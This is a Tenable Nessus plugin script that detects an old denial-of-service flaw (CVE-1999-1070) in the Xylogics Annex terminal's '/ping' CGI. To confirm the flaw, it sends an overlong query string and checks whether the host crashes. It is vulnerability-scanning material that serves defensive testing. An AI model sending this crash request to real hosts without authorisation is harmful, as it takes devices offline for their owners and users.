code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(10017);
script_version("1.40");
script_cvs_date("Date: 2018/06/13 18:56:25");
script_cve_id("CVE-1999-1070");
script_name(english:"Xylogics Annex Terminal Service ping CGI Program DoS");
script_summary(english:"Crashes an Annex terminal");
script_set_attribute(attribute:"synopsis", value:"The remote host is vulnerable to a denial of service.");
script_set_attribute(attribute:"description", value:
"It was possible to crash the remote Annex terminal by connecting to
the HTTP port, and requesting the '/ping' CGI script with an argument
that is too long. For example:
http://www.example.com/ping?query=AAAAA(...)AAAAA");
script_set_attribute(attribute:"solution", value:"Remove the '/ping' CGI script from your web server.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C");
script_set_attribute(attribute:"vuln_publication_date", value:"1998/07/25");
script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_KILL_HOST);
script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("find_service1.nasl", "http_version.nasl", "no404.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = get_http_port(default:80);
if (http_is_dead(port: port)) exit(0);
cgi = "/ping";
if (! is_cgi_installed3(item:cgi, port:port)) exit(0);
start_denial();
r = http_send_recv3(port: port, item: strcat(cgi, "?query=", crap(4096)), method: 'GET');
if (http_is_dead(port: port, retry: 3))
{
alive = end_denial();
if(!alive)
{
security_hole(port);
set_kb_item(name:"Host/dead", value:TRUE);
}
}
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